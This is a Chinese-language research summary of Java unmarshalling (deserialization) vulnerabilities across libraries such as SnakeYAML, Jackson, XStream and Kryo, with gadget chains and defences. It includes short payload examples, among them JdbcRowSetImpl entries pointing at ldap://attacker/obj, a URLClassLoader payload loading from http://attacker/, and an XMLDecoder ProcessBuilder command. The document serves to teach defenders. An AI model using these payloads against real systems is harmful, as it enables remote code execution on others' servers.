Java Unmarshaller Security (将您的数据转化为代码执行)
字数 3129 2025-08-26 22:11:51
Java Unmarshaller 安全研究:从数据到代码执行
1. 概述
Java unmarshalling(反序列化)安全漏洞是近年来Java生态系统中影响范围最广的远程代码执行漏洞之一。本文详细分析了各种Java marshalling(序列化)组件库中存在的安全风险,揭示了通过unmarshalling执行攻击者恶意代码的各种技术手段。
2. 基本概念
2.1 Marshalling与Unmarshalling
- Marshalling:将Java内部表示转换为可存储、传输的格式
- Unmarshalling:将存储/传输的格式转换回Java对象图(树)
2.2 主要交互方式
-
基于Bean属性的marshallers:
- 通过getter和setter方法访问对象属性
- 遵循JavaBean约定
- 攻击面更大,因为会调用setter方法
-
基于字段的marshallers:
- 直接访问对象字段
- 攻击面较小,但会直接影响对象内部结构
- 可能绕过安全检查直接修改私有字段
3. 受影响的Marshalling组件库
3.1 基于Bean属性的marshallers
3.1.1 SnakeYAML
- 允许公有构造函数和公有属性
- 可通过攻击者提供的数据调用任意构造函数
- 漏洞利用示例:
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://attacker/"]]]]!!com.sun.rowset.JdbcRowSetImpl dataSourceName: ldap://attacker/obj autoCommit: true - 修复措施:使用SafeConstructor或实现自定义Constructor白名单
3.1.2 jYAML
- 需要public构造函数和相应getter方法
- 漏洞利用示例:
foo: !com.sun.rowset.JdbcRowSetImpl dataSourceName: ldap://attacker/obj autoCommit: true
3.1.3 YamlBeans
- 仅允许配置或注释过的构造函数
- 需要默认构造函数和相应getter方法
- 漏洞利用示例:
!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource userOverridesAsString: HexAsciiSerializedMap:<payload>
3.1.4 Apache Flex BlazeDS
- 需要public默认构造函数和public setters
- 支持java.io.Externalizable类型
- 修复措施:使用DeserializationValidator实现类型白名单
3.1.5 Red5 IO AMF
- 需要默认public构造器和public setters
- 支持自定义标记接口的外部化类型
3.1.6 Jackson
- 默认配置安全,但启用多态unmarshalling时存在风险
- 漏洞利用示例:
["com.sun.rowset.JdbcRowSetImpl", {"dataSourceName": "ldap://attacker/obj", "autoCommit": true}] - 修复措施:显式使用@JsonTypeInfo和JsonTypeInfo.Id.NAME
3.1.7 Castor
- 需要public默认构造器
- 属性设置顺序固定,限制了部分攻击
3.1.8 Java XMLDecoder
- 高度危险,允许任意方法调用和构造函数调用
- 漏洞利用示例:
<new class="java.lang.ProcessBuilder"> <string>/usr/bin/gedit</string> <method name="start"/> </new> - 修复措施:永远不要信任输入数据
3.2 基于字段的marshallers
3.2.1 Java Serialization
- 经典的Java反序列化漏洞
- 大量已知gadgets(如Commons Collections、Spring Beans、Groovy)
- 修复措施:Java 8u121引入类型过滤机制
3.2.2 Kryo
- 默认需要public默认构造函数
- 使用StdInstantiatorStrategy时可利用更多gadgets
- 修复措施:要求注册所有使用类型
3.2.3 Hessian/Burlap
- 默认使用sun.misc.Unsafe进行无副作用实例化
- 漏洞利用示例:SpringCompAdv、ROME、XBean、Resin
- 修复措施:4.0.51版本通过ClassFactory实现白名单
3.2.4 json-io
- 尝试调用任意构造函数
- 支持"暴力构造"和"两阶段重建"
- 漏洞利用示例:LazySearchEnum、SpringBFAdv、Groovy
3.2.5 XStream
- 高度危险,类似Java序列化
- 漏洞利用示例:ImageIO、BindingEnum、ServiceLoader
- 修复措施:通过TypePermission实现类型过滤
4. 常见攻击载荷(Gadgets/Payloads)
4.1 通用技术
-
XalanTemplatesImpl:
- 通过字节码直接定义和初始化类
- 触发方法:newTransformer()、getOutputProperties()
-
JNDI引用:
- 通过JNDI/RMI或LDAP加载远程代码
- 触发方法:InitialContext->lookup()
4.2 具体Gadgets
4.2.1 com.sun.rowset.JdbcRowSetImpl
- 通过JNDI注入实现RCE
- 需要顺序设置dataSourceName和autoCommit属性
- 适用组件:SnakeYAML、jYAML、Red5、Jackson
4.2.2 java.util.ServiceLoader$LazyIterator
- 通过URLClassLoader加载远程服务
- 适用组件:Kryo、XStream
4.2.3 com.sun.jndi.rmi.registry.BindingEnum
- 触发JNDI/RMI查找
- 适用组件:Kryo、XStream
4.2.4 javax.imageio.ImageIO$ContainsFilter
- 通过反射Method实例执行代码
- 适用组件:Kryo、XStream
4.2.5 C3P0 JndiRefForwardingDataSource
- 通过JNDI注入实现RCE
- 适用组件:SnakeYAML、jYAML、Jackson
4.2.6 Spring BeansPropertyPathFactoryBean
- 通过Spring JNDI查找实现RCE
- 适用组件:SnakeYAML、BlazeDS、Jackson
4.2.7 Groovy Expando/MethodClosure
- 通过Groovy执行系统命令
- 适用组件:Kryo、json-io
4.2.8 sun.rmi.server.UnicastRef
- 通过RMI DGC实现Java反序列化绕过
- 适用组件:BlazeDS、json-io
5. 扩展攻击面
5.1 Marshalling Getter调用
- 基于属性的marshallers会调用所有getter方法
- 可能触发意外行为:
- TemplatesImpl的getOutputProperties()
- JdbcRowSetImpl的getDatabaseMetaData()
- SignedObject的getObject()
5.2 Java"重新"序列化
- Servlet容器会话持久化时的序列化/反序列化
- 可能触发初始化代码(如afterPropertiesSet())
6. 防御措施总结
-
类型限制:
- 实现严格的白名单机制
- 从根类型开始进行完全的类型检查
-
多态处理:
- 限制多态unmarshalling
- 使用明确的类型标识(如Jackson的Id.NAME)
-
组件特定措施:
- 使用安全构造函数(如SnakeYAML的SafeConstructor)
- 启用类型注册(如Kryo)
- 实现验证器(如BlazeDS的DeserializationValidator)
-
架构设计:
- 避免unmarshalling未知类型
- 使用不包含逻辑的简单数据对象
- 考虑模块化技术限制类路径
7. 结论
Java unmarshalling安全问题根源在于允许攻击者控制的对象类型被恢复并执行。根本解决方案是严格限制可unmarshalling的类型,通过白名单、运行时类型检查或多态类型注册实现安全与功能的平衡。开发人员应充分了解所用技术的安全特性,避免便利性优先于安全性的设计决策。